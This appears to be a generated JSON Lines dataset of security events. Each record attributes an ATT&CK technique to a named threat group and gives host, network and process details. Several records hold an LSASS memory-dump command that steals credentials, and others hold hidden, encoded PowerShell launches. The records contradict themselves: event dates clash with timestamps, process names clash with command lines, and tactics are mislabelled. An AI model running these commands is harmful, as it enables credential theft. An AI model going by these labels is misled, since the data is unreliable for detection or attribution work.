{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1059.001 using LOLBin technique.","sub_technique":"PowerShell","tactic":["Exfiltration"],"technique_id":"T1059.001"},"event_id":"evt_lapsus_20251008T120113000Z_0005189","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["LOLBin","WMI","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.38.95.171","name":"AZURE-VM-WH4MAN5NB1","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5189Lapsus$T1059.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.118.102.9","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"certutil.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-10-08T20:39:30.000Z","user":{"name":"azuread\\eegnv8zzey14","sid":"S-1-5-21-276299448-354271170-2866"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1484.001 using cloud-native technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Discovery","Persistence"],"technique_id":"T1484.001"},"event_id":"evt_apt29_20260603T143102000Z_0005191","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["Fileless","WMI","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.47.167.73","name":"AZURE-VM-AI7OWQFLSS","os":"Ubuntu 22.04"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5191APT29T1484.001"},"network":{"domain":"github.com","dst_ip":"1.29.137.161","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1979 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"services.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-10-04T19:31:35.000Z","user":{"name":"i-q21za1a8y5jy","sid":"S-1-5-21-127133600-796651978-9881"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1546.003 using LOLBin technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Execution"],"technique_id":"T1546.003"},"event_id":"evt_apt41_20260914T110016000Z_0005193","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["WMI","JA3 Spoof","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.170.146.162","name":"AZURE-VM-S26YF5SUQR","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5193APT41T1546.003"},"network":{"domain":"aws.amazon.com","dst_ip":"1.146.239.198","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2689 C:\\temp\\lsass.dmp full","name":"wmic.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-06-09T03:32:54.000Z","user":{"name":"CORP\\sjpotlloew9f","sid":"S-1-5-21-244395365-639833644-7271"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1531 using encrypted C2 technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Lateral Movement","Defense Evasion","Command and Control"],"technique_id":"T1531"},"event_id":"evt_mustangpanda_20251104T193147000Z_0005195","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["WMI","Base64","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.176.84.69","name":"IAM-ROLE-E06MICBHV2","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5195Mustang PandaT1531"},"network":{"domain":"aws.amazon.com","dst_ip":"1.62.219.6","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"powershell.exe","parent_name":"svchost.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-04-10T21:11:19.000Z","user":{"name":"i-gxp9en4ngldg","sid":"S-1-5-21-837183565-916104665-8278"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1071.001 using cloud-native technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Persistence","Command and Control"],"technique_id":"T1071.001"},"event_id":"evt_fin7_20260318T030450000Z_0005197","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["Fileless","TLS","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.196.94.74","name":"APP-WEB-CD3EZ75AOJ","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5197FIN7T1071.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.165.104.94","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"wmic.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-04-17T20:39:37.000Z","user":{"name":"i-tv3d4i265qjw","sid":"S-1-5-21-946008773-283025170-4457"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1570 using LOLBin technique.","sub_technique":"Lateral Tool Transfer","tactic":["Exfiltration"],"technique_id":"T1570"},"event_id":"evt_lapsus_20260209T095733000Z_0005199","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["Base64","Fileless","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.80.245.175","name":"WIN-FIN-SRV-HP7G2J5GHQ","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5199Lapsus$T1570"},"network":{"domain":"github.com","dst_ip":"1.188.132.16","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2998 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-03-03T19:24:24.000Z","user":{"name":"arn:aws:iam::z8vmkp83re19","sid":"S-1-5-21-341156594-176719031-9076"}}